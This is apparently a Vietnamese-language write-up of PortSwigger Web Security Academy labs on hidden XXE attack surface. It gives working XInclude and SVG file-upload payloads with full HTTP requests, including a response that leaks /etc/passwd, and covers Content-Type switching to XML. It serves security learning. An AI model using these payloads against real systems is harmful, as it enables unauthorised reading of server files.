Finding Hidden Attack Surface for XXE Injection
Tìm bề mặt tấn công ẩn cho XXE.
XInclude Attacks
Khi dữ liệu từ client được đặt vào back-end SOAP request, chúng ta không thể làm XXE cổ điển vì không kiểm soát toàn bộ document XML để định nghĩa/chỉnh sửa DOCTYPE.
Có thể dùng XInclude thay thế. XInclude (chuẩn XML) cho phép document được ghép từ sub-document.
Để khai thác XInclude, tham chiếu namespace và trỏ href đến file cần include. Ví dụ:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>Lab: Exploiting XInclude to Retrieve Files
Request gốc:
POST /product/stock HTTP/2
Host: 0ac40010040c90418252100b00ae0075.web-security-academy.net
Cookie: session=Md8A8x5RjU8P4I0XuQ4O9BCWf2D9IS05
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0ac40010040c90418252100b00ae0075.web-security-academy.net
Referer: https://0ac40010040c90418252100b00ae0075.web-security-academy.net/product?productId=1
productId=1&storeId=1Thay đổi body request thành này:
POST /product/stock HTTP/2
Host: 0ac40010040c90418252100b00ae0075.web-security-academy.net
Cookie: session=Md8A8x5RjU8P4I0XuQ4O9BCWf2D9IS05
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0ac40010040c90418252100b00ae0075.web-security-academy.net
Referer: https://0ac40010040c90418252100b00ae0075.web-security-academy.net/product?productId=1
productId=
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
&storeId=1Response có nội dung của /etc/passwd như mong đợi:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2341
"Invalid product ID:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinXXE Attacks via File Upload
Một số ứng dụng cho phép upload file xử lý server-side. Nhiều định dạng dùng XML hoặc chứa XML subcomponent.
Ngay cả khi ứng dụng mong đợi PNG/JPEG, thư viện ảnh có thể hỗ trợ SVG. SVG là XML nên có thể submit SVG độc hại để chạm tới bề mặt XXE ẩn.
Lab: Exploiting XXE via Image File Upload
Sử dụng payload sau từ An SVG “image” that uses an XXE attack to embed the hostname file of whichever system processes it into the image itself (github.com):
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>Nội dung của /etc/hostname sẽ được hiển thị như image.
XXE Attacks via Modified Content Type
Hầu hết POST dùng content type mặc định của HTML form như application/x-www-form-urlencoded. Một số site vẫn chấp nhận content type khác (kể cả XML).
Ví dụ, nếu request bình thường chứa sau:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=barThì chúng ta có thể submit request sau, với kết quả giống nhau:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>